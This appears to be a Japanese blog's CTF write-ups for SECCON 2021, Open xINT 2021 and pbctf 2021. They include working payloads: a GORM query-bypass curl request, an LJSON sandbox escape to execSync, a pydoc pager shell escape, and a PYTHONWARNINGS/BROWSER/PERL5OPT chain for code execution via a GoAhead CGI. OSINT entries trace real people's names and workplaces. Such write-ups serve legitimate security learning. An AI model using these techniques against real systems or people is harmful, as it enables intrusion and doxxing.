st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2021 writeup

12/11 - 12/12という日程で開催された。keymoonさんとチーム(o^_o)として参加し、全体10位、国内1位だった。U-25チームとして出ていたので賞金として10万円がもらえるらしく嬉しい(o^_o)

他のメンバー(keymoonさんしかいないけど…)が書いたwrite-up:


[Reversing 130] corrupted flag (55 solves)

It looks like some bits of the flag are corrupted.

ということでフラグが変換されたらしき flag.txt.enc というファイルと、その変換を行う corrupt というELFファイルが与えられる。適当な内容のファイルで何度か試してみると、実行するごとに変換後のファイルの一部がランダムに変わっていることがわかる。

keymoonさんがどのように変換されているか解析しPythonコードに直していた。が、何も考えずに1バイトずつブルートフォースし、変換後のファイルと問題に添付されていた flag.txt.enc とを1ビットずつ比較したときにもっとも一致していたものを採用していくと、フラグのほとんどの部分がわかった。それでも何度か出力は変わるが、何度か試したら通った。ptr-yudaiさんごめんなさい。

import os

def test(s):
  with open('flag.txt', 'w') as f:
    f.write(s)
  os.system('./corrupt')
  with open('flag.txt.enc', 'rb') as f:
    s = f.read()
  return s

def to_bin(s):
  return ''.join(bin(x)[2:].zfill(8) for x in s)

def compare(a, b):
  a, b = to_bin(a), to_bin(b)
  return sum(x == y for x, y in zip(a, b))

# orig.encは問題に添付されていたflag.txt.enc
with open('orig.enc', 'rb') as f:
  orig = f.read()

known = ''

for i in range(72):
  mc, ms = '', 0
  #for c in range(0x20, 0x7f):
  for c in b'0123456789abcdefSECCON{}':
    s = 0
    for _ in range(100):
      s += compare(test(known + chr(c)), orig)
    if s > ms:
      mc, ms = chr(c), s
  known += mc
  print(known)
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

[Web 103] Vulnerabilities (94 solves)

How many vulnerabilities do you know?

以下のようなGoのソースコードが与えられている。DBにある &Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag} というレコードを取得できればよさそうだが、SQLiができそうな箇所は見当たらない。

package main

import (
    "log"
    "os"

    "github.com/gin-contrib/static"
    "github.com/gin-gonic/gin"
    "github.com/gin-gonic/gin/binding"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

func main() {
    gin.SetMode(gin.ReleaseMode)

    flag := os.Getenv("FLAG")
    if flag == "" {
        flag = "SECCON{dummy_flag}"
    }

    db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
    if err != nil {
        log.Fatal("failed to connect database")
    }

    db.AutoMigrate(&Vulnerability{})
    db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
    db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
    db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
    db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
    db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
    db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
    db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
    db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
    db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
    db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})

    r := gin.Default()

    // Return a list of vulnerability names
    // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
    r.GET("/api/vulnerabilities", func(c *gin.Context) {
        var vulns []Vulnerability
        if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
            c.JSON(400, gin.H{"Error": "DB error"})
            return
        }
        var names []string
        for _, vuln := range vulns {
            names = append(names, vuln.Name)
        }
        c.JSON(200, gin.H{"Vulnerabilities": names})
    })

    // Return details of the vulnerability
    // {"Logo": "???.png", "URL": "https://..."}
    r.POST("/api/vulnerability", func(c *gin.Context) {
        // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

    r.Use(static.Serve("/", static.LocalFile("static", false)))

    if err := r.Run(":8080"); err != nil {
        log.Fatal(err)
    }
}

GORMのドキュメントを見ていると、/api/vulnerability で使われている db.Where(&query) は、フィールドの値が 0, '', false のようなゼロ値である場合にはそのフィールドがクエリの絞り込みに使われないということがわかった。つまり、Name, Logo, URL のいずれもゼロ値として扱われる値を含むようにすれば SELECT * FROM vulnerabilities のように検索条件が取っ払われるはずだ。

しかしながら、ソースコードをよく見ると事前にJSONに含まれている Name というプロパティの値が '' でも nil でもないことがチェックされていることがわかる。そんな…。

       // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

この後で json が再利用されることはなく、なぜか query という新しい変数が使われている。どういうことだろう。

       // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

Name には hoge のようなゼロ値でない適当な文字列を入れておいて、別に name という空文字列の入っているプロパティをJSONに生やせばどうなるのだろうと思い試してみる。すると最初のレコードであるHeartbleedの情報が返ってきた。どうやら query.Name に空文字列を入れることができたらしい。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":""}'
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}

しかしフラグの含まれているレコードを取得できなければ意味がない。Logo, URL のいずれのフィールドにもフラグが含まれており、これらを使って目的のレコードに絞り込むことはできない。ほかにフィールドがないか再びGORMのドキュメントやソースコードを確認してみると、Vulnerability という構造体に埋め込まれている gorm.Model には、以下のように ID などのフィールドが含まれていることがわかった。

type Model struct {
    ID        uint           `gorm:"primaryKey"`
    CreatedAt time.Time
    UpdatedAt time.Time
    DeletedAt gorm.DeletedAt `gorm:"index"`
}

ID を14とするとフラグが得られた。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":"","ID":14}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}

[Web 205] Sequence as a Service 1 (20 solves)

I've heard that SaaS is very popular these days. So, I developed it, too. You can access it here.

好きな数列のn番目の値を求めてくれる便利サービス。ソースコードを読んでみると、以下のように /api/getValuesequence というGETパラメータとしてLJSONというフォーマットの文字列を与えると実行してくれることがわかる。

/api/getValue?sequence=%28a%2Cb%29%3D%3E%28a%28%22%2C%22%2Ca%28%22%2C%22%2Ca%28%22set%22%2Ca%28%22self%22%29%2C0%2C1%29%2Ca%28%22for%22%2C0%2Cb%2C%28c%29%3D%3E%28a%28%22set%22%2Ca%28%22self%22%29%2C0%2Ca%28%22*%22%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%2C2%29%29%29%29%29%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%29%29&n=4

LJSONはJSONでも関数が扱えるようにしたようなフォーマットであり、とはいえセキュリティを考慮してか限られた関数しか呼び出せず、また文法を確認しても((a)=>(a)).constructor.constructor のようにプロパティを辿るような機能はなさそう。ソースコードを読むと、この問題ではビルトインの関数として +, -, for などの安全そうなもののみが扱えるようになっていることがわかる。

// lib.js
const lib = {
  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),
  "for": (l, r, f) => {
    for (let i = l; i < r; i++) {
      f(i);
    }
  },
  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },
  "get": (map, i) => {
    return typeof i === "number" ? map[i] : null;
  },
  "self": () => lib,
};

module.exports = lib;
// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence = process.argv[2];
const n = parseInt(process.argv[3]);

console.log(LJSON.parseWithLib(lib, sequence)(n));

オブジェクトのプロパティにアクセスできる関数として get が与えられているが、残念ながら typeof i === "number" と添字が Number であるか確認されている。typeof 演算子をごまかして a("get",123,"constructor") のようなことができれば嬉しいが、おそらくできない。

オブジェクトのプロパティに値を代入できる関数として set が与えられている。こちらは指定したプロパティに指定した値を代入後、変更された後の値を返り値として返している。よく見ると、(map, i, value) => { map[i] = value; return map[i]; } と引数の value をそのまま返すのではなく、わざわざ map[i] を返している。普通ならこれらは同じ値だが、もし map[i] = value によって map[i] が書き換えられなければどうだろうか。つまり、non-writableなプロパティではどうなるだろうか。そのような場合では、set を引数が Number であるか確認しない get として扱えるはずだ。

以下のようなJavaScriptコードを使って、配列やら関数やら色々なオブジェクトのnon-writableなプロパティを探していると、Function.prototype.callerFunction.prototype.argumentsが見つかった。MDNでは非推奨とされているが、この問題で使われているNode.js 17.0.1ではまだ残っている。呼び出し元の関数や、あるいはそれらに渡された引数になにか有用なものがあれば setget を駆使してアクセスできるはずだ。

const target = Object.getPrototypeOf([]);
const descs = Object.getOwnPropertyDescriptors(target);
const nonWritableProps = Object.entries(descs).filter(([k, v]) => !v.writable);
console.log(nonWritableProps.map(([k, _]) => k));

(a,b)=>( a("set",a,"caller",123) ) で呼び出し元の関数をチェックし、(a,b)=>( a("set",a("set",a,"caller",123),"arguments",123) ) でその関数に与えられた引数をチェックし、次に呼び出し元の関数の呼び出し元の関数をチェックし…という作業を続けていくと、a.caller.caller.caller.argumentsrequire が含まれていることがわかった。

[Arguments] {
  '0': {},
  '1': [Function: require] {
    resolve: [Function: resolve] { paths: [Function: paths] },
    main: Module {
      id: '.',
      path: '/app',
      exports: {},
      filename: '/app/service.js',
      loaded: false,
      children: [Array],
      paths: [Array]
    },
    extensions: [Object: null prototype] {
      '.js': [Function (anonymous)],
      '.json': [Function (anonymous)],
      '.node': [Function (anonymous)]
    },
    cache: [Object: null prototype] {
      '/app/service.js': [Module],
      '/app/node_modules/ljson/LJSON.js': [Module],
      '/app/node_modules/ljson/parsenhora.js': [Module],
      '/app/lib.js': [Module]
    }
  },
  '2': Module {
    id: '.',
    path: '/app',
    exports: {},
    filename: '/app/service.js',
    loaded: false,
    children: [ [Module], [Module] ],
    paths: [ '/app/node_modules', '/node_modules' ]
  },
  '3': '/app/service.js',
  '4': '/app'
}

あとは require('child_process').execSync 相当のことをして終わりかと思いきや、残念ながらそれだけではない。モジュールの execSync プロパティにアクセスしようにも、前述のようにLJSON自身はプロパティへのアクセスをサポートしていないし、set でアクセスしようにも execSync はwritableなので書き換えてしまう。

少し悩んで、a("self")lib を取得した後に lib.__proto__ = require('child_process') 相当のことをすれば、a("execSync","ls",{"encoding":"utf-8"}) でOSコマンドを実行できるのではないかと考えた。ということで、以下のコードでフラグが得られた。

(a,b)=>( [ a("set",a("self"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")), a("execSync","cat /flag.txt",{"encoding":"utf-8"}) ] )
[
  {
    _forkChild: [Function: _forkChild],
    ChildProcess: [Function: ChildProcess],
    exec: [Function: exec],
    execFile: [Function: execFile],
    execFileSync: [Function: execFileSync],
    execSync: [Function: execSync],
    fork: [Function: fork],
    spawn: [Function: spawn],
    spawnSync: [Function: spawnSync]
  },
  'SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}\n'
]
SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}

[Web 210] Sequence as a Service 2 (19 solves)

NEW FEATURE: You can get values from two sequences at the same time! Go here.

ということで、SaaS 1に同時に2つの数列から値を取ってこれるようになったが、ついでに a("self") から lib にアクセスできないようになってしまった。

// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence0 = process.argv[2];
const n0 = parseInt(process.argv[3]);
const sequence1 = process.argv[4];
const n1 = parseInt(process.argv[5]);

console.log([
  LJSON.parseWithLib(lib, sequence0)({}, n0),
  LJSON.parseWithLib(lib, sequence1)({}, n1),
]);

それなら a("self") の代替として require("./lib.js"); を使って lib を取ってこればよい。以下のコードでフラグが得られた。

(a,b,c) => ( [ a("set",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("./lib.js"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")),a("execSync","cat /flag.txt",{"encoding":"utf-8"})]))
[
  1,
  [
    {
      _forkChild: [Function: _forkChild],
      ChildProcess: [Function: ChildProcess],
      exec: [Function: exec],
      execFile: [Function: execFile],
      execFileSync: [Function: execFileSync],
      execSync: [Function: execSync],
      fork: [Function: fork],
      spawn: [Function: spawn],
      spawnSync: [Function: spawnSync]
    },
    'SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}\n'
  ]
]
SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

[Misc 227] hitchhike (16 solves)

The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.

添付ファイルとしてサーバ側で動いているソースコードが与えられている。{x} * {v} の右辺に入力した8文字以内の文字列が、左辺に 6, 6.6, '666', [6666], {b'6':6666} がひとつずつ展開され eval される。そのすべてで評価した結果が42になるようにすればよいらしい。

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

最初の4つでは 0+42 を入力すればよいことをkeymoonさんが見つけていたが、5問目では左辺が dict であるために例外が発生してしまい通らない。1if 0else 42 のように条件式を使えば {b'6':6666}*1 の部分を評価させないようにできるのではと考えたが、それでも12文字だし弾かれてしまう。

しばらく考えて、これは真面目に取り組むような問題ではなくなんらかの方法で任意コード実行に持ち込むようなものなのではと思い始める。6文字以下のビルトイン関数でなにかいいものがないか探してみると、help が見つかった。helppydoc を使っているし、pydoc ではページャーを呼び出せる。lessmore を起動できれば、コマンドからOSコマンドを呼び出せるはず。

>>> [k for k in dir(__builtins__) if len(k) <= 6]
['False', 'None', 'True', '_', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytes', 'chr', 'dict', 'dir', 'divmod', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'hash', 'help', 'hex', 'id', 'input', 'int', 'iter', 'len', 'list', 'locals', 'map', 'max', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'quit', 'range', 'repr', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

help を呼び出し、タブキーを押してからエンターを押すとページャーが起動した。!printenv で環境変数からフラグが得られた。

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: help()

Welcome to Python 3.9's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.9/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> [Tab][Return]
...
--More--:!printenv
!printenv
HOSTNAME=57775d161be2
SOCAT_PEERADDR=…
HOME=/home/ctf
SOCAT_PEERPORT=…
SOCAT_SOCKADDR=172.21.0.2
LC_CTYPE=C.UTF-8
SOCAT_VERSION=1.7.3.3
SOCAT_SOCKPORT=10042
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DEBIAN_FRONTEND=noninteractive
PWD=/home/ctf
SOCAT_PID=7261
SOCAT_PPID=8
FLAG=SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}
------------------------
SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}

Open xINT CTF 2021 writeup

10/23に9時間だけ開催された。keymoonさん、ptr-yudaiさんと一緒に(実質ミニzer0ptsである)チーム٩(๑òωó๑)۶として出て1位。昨年のOpen xINT CTF 2020から2年連続で、そして同じくOSINTメインの大会であるTsukuCTF 2021に引き続き優勝できて嬉しい ٩(๑òωó๑)۶

競技の終盤は、古いオルゴールの写った写真の撮影場所を特定するDISKと、アフガニスタンのカーブルにある店の名前を特定するAfganistanに結構な時間を費やしてしまった。チームメンバーと一緒にGoogleマップ上でパイオニアの川越工場とカーブルとの間を反復横跳びした結果としてAfganistanは解けたものの、DISKは解けず悔しい。精進していきたい。


[PLACE 100] SUB (64 solves)

潜水艦が見える。撮影した場所を答えよ。

I see a submarine. Where did I take this picture?

写真の奥側にやたらとクレーンが見えたり、工場のような建物があったりして造船所っぽい雰囲気がある。「潜水艦 造船所」で画像検索するとよく似た雰囲気の写真が含まれるニュースがヒットする。川崎重工の神戸工場らしい。

Googleマップでこのあたりを見ていると、第4ドックの対岸にあるハーバーウォークのあたりの模様が、与えられた写真の下部に写っているものと一致していることに気づく。ここだ。

f:id:st98:20211024095149p:plain

N34.678,E135.185

[PLACE 200] Maple (18 solves)

写真を撮影した場所の正式な"公園"の名前を答えよ

What is the official name of this "park"?

文字情報はまったくないが、画像中央に円形の人工池があったり、画像左下にアスレチックらしき道があったり、特徴的なものがある。適当なワードで検索してもそれっぽいものは見つけられなかったので、Googleレンズで検索して粘り強くその結果を眺めていると、よく似た人工池の写った写真が見つかった。京都府城陽市にある「鴻ノ巣山運動公園」だ。

鴻ノ巣山運動公園

[PLACE 250] Regular (28 solves)

ランチはいつもここに決めてる。新鮮な野菜や果物を出してくれるから、ここが一番好き。いつも素敵な笑顔で提供してくれる女将さんのことも、もちろん大好き。そういえば女将さんの名前、何だっけ? フルネームを教えて。

I come here for lunch every day. This restaurant is my favorite because they serve fresh vegetables and fruits. And of course, I'm in love with the restaurant manager who always brings me the lunch plate with her lovely smile. I want to know her name. Would you please tell me her full name?

飲食店の前で撮影されたらしき写真が与えられている。問題文で言及されている女将さんらしき人物と鹿とが対峙している場面(知らんけど)で、奈良か宮島あたりだろうとある程度あたりがつけられる。写真の左側に写っている英語表記の看板に「Japanese cuisine」という表記があり、ここが和食のお店らしいという情報が得られる。また、写真の右下に「山一」と店名らしき単語が写っているのは大きなヒントだろう。

f:id:st98:20211024100915p:plain

「山一 宮島」で検索すると「山一 本店」や「山一別館」といったお店がヒットするが、写真の左側に写っているタイルなどと突き合わせると後者であるとわかる。

f:id:st98:20211024101501p:plain

このお店に関係する人物の名前が知りたい。適当なワードで検索すると広島県の公開する資料がヒットし、代表者の名前がわかった。この名前を足がかりにFacebookなどを検索すると、女将さんの名前がわかった。

[PLACE 500] Afganistan (5 solves)

この店の2件隣にある店の名前を英語表記で答えよ

Answer the shop's name (English) two buildings away from the shop in the picture.

今年のカーブル陥落後にニュースでよく見た写真が与えられている。写真の右上に書かれている「Taj Beauty Salon」は店名だろう。ググるFacebookのページが見つかり、お店の位置がわかるが、Googleマップを見てもこのお店の名前は見つからないし、どれが「2件隣にある店」なのかわからない。

悩んでいると、ptr-yudaiさんがYouTubeに上がっているニュース動画を見つけた。このお店が写っている。よく見ると、2件隣に「Arya Store」とある。

Arya Store

[WEB 50] WHOIS (114 solves)

pinja.xyz の最新の更新された時間を示せ。

When was pinja.xyz last update?

whois コマンドで pinja.xyz の情報を確認すると、更新された日時がわかった。

$ whois pinja.xyz
…
Updated Date: 2021-10-20T16:04:20.0Z
…
2021-10-20T16:04:20.0Z

[WEB 100] past cetificate (35 solves)

日本にサイバークリーンセンター(Cyber Clean Center) という組織がありました。その組織の最後の電子証明書のシリアルナンバーを答えよ。

There used to be an organization in Japan called Cyber Clean Center. Answer the serial number of the last issued electronic certificate.

サイバークリーンセンター」でググって出てきたWikipediaの記事を見ると、かつてこの組織のWebサイトは www.ccc.go.jp というドメイン名でホストされていたこと、2015年3月にそのWebサイトが閉鎖されたことがわかる。

電子証明書の確認と言えばcrt.shだ。www.ccc.go.jp で検索すると7個の電子証明書がヒットするが、ほとんどはWebサイトの閉鎖以降に記録されたものであることに注意する。2015年3月時点で使われていたと思われるものは3647207だ。

37:d4:64:28:16:b8:5d:b6:7d:1b:e7:55:80:b7:8c:25

[WEB 150] Plate (52 solves)

このナンバープレートの車種を答えよ

Answer the car model that uses this number plate.

ナンバープレートの写真が与えられている。ナンバープレートの左側に NSW とあり、「nsw number plate」でググるとオーストラリアのニューサウスウェールズ州で発行されているものであるとわかる。

f:id:st98:20211024103553p:plain

プレートのナンバーで検索できるサービスもあり、これで検索するとヒットした。

f:id:st98:20211024103948p:plain

LANCER

[WEB 200] waitress (23 solves)

ついに2021年9月24日に卒業することができたわ! 卒業はするけど、ウェイトレスとして働いているからお店で待ってるね

I graduated the university on September 24, 2021! I'll still be working at the restaurant. You know the name of the restaurant, right?

卒業記念に撮ったと思われる、学位記を持った人物の写真が与えられている。学位記から大学名や学部名などの情報が得られる。この大学のFacebookページに投稿された写真を眺めていると、与えられた写真の元になったらしきものが見つかる。写っている名前を検索すると、この人物のLinkedInページがヒットする。そこに問題文で求められている店名が書かれていた。

[WEB 250] e-bike (14 solves)

2021年10月2日未明、ニューヨークのとある街角でE-バイクに乗った男性が横転し、アスファルトに身体を打ち付けて亡くなった。警察の話では、現場に他の車両などがなかったとのこと。本当は何があったのだろうか。少し距離はあるが、ある建物に監視カメラがあった。うまくいけば、当時の様子が録画されているかもしれない。そのカメラが取り付けてある店の電話番号を教えてくれ(ハイフンなし、連番で回答)。

October 2, 2021 midnight, a man riding an e-bike in New York was thrown off and died after hitting hard on the ground. There were no other vehicles at the scene, according to the police. I wonder what really happened. I found a shop with a surveillance camera not far from the scene. Maybe it has footage of the accident. What is the phone number of the shop? (no hyphen)

この事故に関するニュースがないか「new york e-bike」で検索してみると、結構な件数がヒットする。10/2から10/4に書かれたニュースに限って検索すると、一番上にそれっぽい記事が見つかった。

ニュースの本文から事故が起こった位置がある程度わかる。近くにある監視カメラのある店の電話番号を入力していくと解けた。

7189012316

[BUS 150] TOKYO2020 (36 solves)

私は東京オリンピックを取材にシンガポールから着た記者である。会場からMPCに戻るときの専用バスに乗るのであるが、バスのWi-Fiのパスワードを教えてほしい。

I came from Singapore to cover Tokyo Olympics. I'm going to take a shuttle bus back to MPC from the stadium, and I want to use the bus Wi-Fi. What is the Wi-Fi password?

雑にGoogleで「tokyo olympics bus wi-fi」という検索ワードで画像検索すると、トップにWi-Fiのパスワードが写った写真が出てきた。マジか。

[BUS 300] soar to new heights (12 solves)

私の名前を冠した学校がようやく完成した。すでに亡くなった私には、このスクールバスに乗って学校に通う学区の子どもたちを見送ることはできない。せめて、楽しく学びの多い学生生活が送れることを空の向こうから見守っていこう。あぁ、開校式に参加してくれた妻にも思いを伝えたい。さあ、私と一緒に妻の名前を呼んでくれ(妻の名前をフルネームで答えよ)。

A school named after me has finally opened. I can't see off the children on the school bus since I died a while ago. I hope, from the sky above, their school life will be fruitful and educative. I also want to send my love to my wife, who attended the ribbon-cutting ceremony. Please call her name with me. (answer in full name)

スクールバスがどこかに向かっている様子が撮影された写真が与えられている。写真の左奥に「Cold Springs Valley」と読めないこともない標識が見える。ネバダ州のワショー郡の地域らしい。

f:id:st98:20211024105625p:plain

スクールバスのナンバープレートもネバダ州のものであり、それっぽい。

f:id:st98:20211024105823p:plain

GoogleマップでCold Springs Valleyのあたりに移動して「school」を検索してみたが、多すぎて困る。このあたりの住所を見てみると「Reno」という地名が含まれていることがわかる。

nevada reno new school ribbon-cutting ceremony」でググってみると大変それっぽいニュースが出てきた。学校名から問題文の「私」はMichael Inskeepさんであり、またニュースの本文から「妻」はGeri Inskeepさんであることがわかる。

Geri Inskeep

[FORENSICS 100] JELLY FISH (36 solves)

この写真を撮影したスマートフォンが起動した時間を示せ。(日本時間)

What is the boot time of the smartphone that took this picture? (Answer in JST)

HEIC形式の写真が与えられている。ExifToolに投げると以下のような情報が得られた。

$ exiftool IMG_2650.HEIC
…
Run Time Since Power Up         : 4 days 1:49:02
…
Create Date                     : 2021:10:02 13:41:09.853+09:00
Date/Time Original              : 2021:10:02 13:41:09.853+09:00
…

2021年10月2日13時41分9秒から4日と1時間49分2秒前の日時は、2021年9月28日11時52分7秒だ。

2021/09/28 11:52:07

[FORENSICS 200] pilgrimage (35 solves)

志摩リン(ドラマ版)の家から一番近い携帯電話基地局のCell IDは?

What is the Cell ID of the mobile phone base station closest to the house of Rin Shima (志摩リン) in TV drama version?

ゆるキャン 聖地 ドラマ」でググると、ドラマ版での家の場所がわかる。「cell id database」でググるOpenCelliDという大変便利なデータベースがヒットする。これで検索すると最寄りの基地局のCell IDがわかった。

38190592

[DarkWeb 100] North (28 solves)

北朝鮮に関するダークウェブ上の日本語情報があるホスト名を答えよ

On the dark web, there's a website about North Korea written in Japanese. Answer its hostname.

雑に「北朝鮮 ダークウェブ onion」で検索するとリンク集がヒットした。その中にそれっぽいものがある。

ivxrfwu6yozpws5y6yjjk7odqpdnyyupxire4qt3qurg27o3pq5se2id.onion

pbctf 2021 writeup

10/9 - 10/11という日程で開催された。zer0ptsで参加して5位。

他のメンバーが書いたwrite-up:


[Web 340] Advancement (9 solves)

Embedthis GoAheadの最新版である5.1.4で、以下のようなシンプルなPythonCGIスクリプトが動いている。それだけ。

#!/usr/bin/env python3

from datetime import date

print("Content-Type: text/plain")
print()

today = date.today()
print("Today's date:", today)

これは実は0-day問で、細工したHTTPリクエストを送ると、環境変数に好きな値を設定した上でCGIスクリプトを実行させられる。環境変数が操作できる状態で、Pythonでなにか悪いことができないかPOSIXさんの記事を見てみると、PYTHONSTARTUP というものが見つかった。これは値として設定したファイルが自動的にPythonスクリプトとして読み込まれ実行されるというものだが、残念ながら対話モードでなければならない。

Kahlaさんから LD_PRELOAD であればどうかというアイデアが出た。確かにアップロードしたファイルは通常であれば /etc/goahead/tmp に予測可能なファイル名で一時的に保存されるし、なんなら /proc/self/fd/… がそのファイルを指している。が、残念ながら docker-compose.ymlread_only: true という記述があり、そもそもファイルのアップロードができなかった。

雑に "python environment variable exploit" でググってみると、Hacking with Environment Variablesという大変気になる記事が見つかった。PYTHONWARNINGS という環境変数all:0:antigravity.x:0:0 という値を突っ込んでやれば、antigravity というモジュールが読み込まれるらしい。これはPythonイースターエッグで、読み込むとWebブラウザhttps://xkcd.com/353/ が開かれる。この際 BROWSER という環境変数が参照され、Webブラウザのパスとして扱われるが、その値が perlthanks であれば perlthanks というPerlスクリプトが実行される。Perlは実行時に PERL5OPT という環境変数が設定されていれば、その値がコマンドラインオプションとして与えられているものとして扱う。-Mbase;print(123);exit のような値が入っていれば、任意のPerlコードが実行できてしまう。

これら3つの環境変数を使って、print(system("cat".chr(0x20)."/flag")); というPerlコードを実行させるとフラグが得られた。

pbctf{all_i_was_doing_is_running_a_simple_python_script}

[Web 353] Vault (8 solves)

セキュアにメモを保存できるらしいWebアプリケーションが与えられる。トップページには 1 から 32 までの数値が書かれたボタンがあり、押すとそれぞれ 1/ から 32/ までのサブディレクトリに移動する。例えば 5, 9, 6, 3 の順番で押すと、最終的に /5/9/6/3/ に移動する。

